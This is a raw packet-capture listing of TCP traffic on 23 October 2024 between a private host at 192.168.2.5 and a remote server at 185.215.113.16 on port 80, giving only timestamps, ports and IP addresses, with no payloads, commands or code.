Oct 23, 2024 15:48:22.055162907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055170059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055181026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055205107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055231094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055248022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055263042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055286884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055301905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055320024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055329084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055346012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055361032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055367947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055376053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055392027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055396080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055416107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055432081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055434942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055449009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055465937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055480003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055481911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055497885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055512905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055527925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055527925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055527925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055545092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055550098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055561066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055577040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055592060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055605888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055608988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055622101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055636883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055649042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055650949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055668116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055668116 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055684090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055690050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055701017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055721998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055740118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055754900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055763006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055771112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055788040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055804014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055818081 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055819988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055836916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055852890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055870056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055866957 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055886984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055887938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055903912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055907965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055919886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055934906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055943966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.055951118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055967093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055980921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.055983067 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056003094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056021929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056037903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056039095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056061029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056077957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056092978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056097984 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056109905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056122065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056124926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056142092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056157112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056163073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056173086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056189060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056189060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056204081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056220055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056229115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056236982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056252003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056253910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056272030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056283951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056288958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056307077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056329966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056350946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056404114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056418896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056442022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056457043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056469917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056480885 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056483984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056500912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056504011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056516886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056531906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056535959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056548119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056562901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056579113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056581974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056595087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056610107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056619883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056626081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056639910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056643009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056658030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.056659937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.056700945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.066339016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169163942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169198036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169214964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169240952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169254065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169256926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169277906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169303894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169317961 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169320107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169336081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169351101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169365883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169370890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169394016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169570923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169595003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169644117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169646978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169658899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169676065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169680119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169689894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169728041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169888973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169903994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169920921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169970989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.169975996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.169991970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170007944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170022964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170037985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170053959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170075893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170089960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170111895 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170137882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170152903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170173883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170187950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170202971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170224905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170228958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170242071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170249939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170254946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170284986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170285940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170325041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170339108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170351982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170408010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170422077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170435905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170444012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170459032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170465946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170475006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170490026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170505047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170514107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170528889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170543909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170552015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170552969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170567036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170588970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170603991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170618057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170633078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170661926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170701981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170717001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170731068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170758009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170773029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170774937 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170787096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170802116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170809984 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170819044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170833111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170847893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170854092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170883894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170895100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.170897007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170943022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170957088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170972109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.170986891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171041012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.171045065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171060085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171075106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171088934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171097994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.171103954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171118021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.171122074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171150923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.171334028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171349049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171365023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171379089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171394110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171406031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171421051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171435118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171449900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171464920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171479940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171495914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171504974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.171509027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.171555042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172005892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172461033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172483921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172498941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172559023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172573090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172576904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172589064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172602892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172619104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172620058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172650099 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172656059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172669888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172677040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172692060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172705889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172720909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172739983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172753096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172768116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172784090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172846079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172856092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172868013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172883034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172890902 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172899008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172914028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172928095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172930956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172941923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172965050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172975063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172981024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.172986984 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.172996044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173010111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173022032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173024893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173038006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173053026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173067093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173068047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173082113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173089027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173095942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173110008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173114061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173130989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173145056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173177958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173371077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173387051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173401117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173414946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173429966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173444986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173459053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173474073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173475027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173489094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173502922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173511028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173527002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173535109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173542023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173556089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173567057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173573017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173588037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173599005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173602104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173616886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173629999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173639059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173645020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173660040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173676014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173686981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173722982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173743010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173758984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173774004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173788071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173803091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173818111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173831940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173846006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173862934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.173887968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.173892975 CEST	80	49713	185.215.113.16	192.168.2.5
